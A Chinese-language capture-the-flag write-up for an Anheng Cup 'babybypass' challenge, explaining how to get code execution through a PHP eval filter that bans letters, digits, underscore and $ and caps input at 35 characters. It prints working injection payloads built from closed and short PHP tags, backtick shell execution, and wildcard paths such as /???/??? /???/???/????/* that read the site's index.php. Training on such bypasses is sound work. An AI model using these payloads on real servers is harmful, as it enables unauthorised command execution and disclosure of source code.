1. 程式人生 > >安恆杯月賽 babypass getshell不用英文字母和數字

安恆杯月賽 babypass getshell不用英文字母和數字

BABYBYPASS

 先貼程式碼:    

①限制字元長度35個  
②不能使用英文字母和數字和 _ $  

最後提示有個getFlag()函式,從這個函式入手。

我們的第一思路是直接eval執行getFlag函式,但是這裡過濾了 _ $ 無法通過異或的方法構造變數,下一篇部落格有這樣的題目
所以最終這道題目思路是通過eval函式執行系統命令,檢視index.php。

用到的知識點

①linux萬用字元 * ?   
②php短標籤<??>  
③linux一切皆檔案
④apache預設存放網頁路徑

linux萬用字元

*代表任意個字元,?代表一個字元

php短標籤

可以用<?='命令'?>。這樣就不用寫 繞過了這部分的英文字母

一切皆檔案

我們linux用到的命令例如ls,cat等命令都是檔案,存放於/bin目錄下面,也可以這樣使用/bin/cat /bin/ls。

apache預設存放網頁的路徑

/var/www/html ,現在有很多一鍵安裝的面板wdlinux和phpstudy等目錄會改變。

一步一步分析

①現在假設程式碼是這樣的(本地試了下)沒有任何過濾

index.php

flag.php  

這種情況我們直接

?code=?><?php getFlag()?>  

或者

code=?><?php echo `/bin/cat /var/www/html/index.php` ?>(要檢視原始碼才能顯示程式碼)

也可以用短標籤試一下:

?code=?><?=getFlag()?> 
code=?><?=`/bin/cat /var/www/html/index.php`; ?>

細節:

為什麼code=?>,為什麼要先閉合呢?

eval裡的引數不讓直接傳<? php,    
說是得先離開php模式後進入那就     
?>  <? php就可以了  

②現在程式碼做了過濾,過濾了英文數字_$和長度,就是原來的題目。

因為執行的系統命令,我們可以用linux萬用字元

/bin/cat /var/www/html/index.php>變成
/???/??? /???/???/????/?????????  
但這樣會超過長度,所有最後的index.php直接換成*就好了  
/???/??? /???/???/????/*  

=?><?=`/???/??? /???/???/????/*`;?>

為什麼要用`而不是',瀏覽器會進行編碼破壞掉了',而`可以作為'使用但是不會被編碼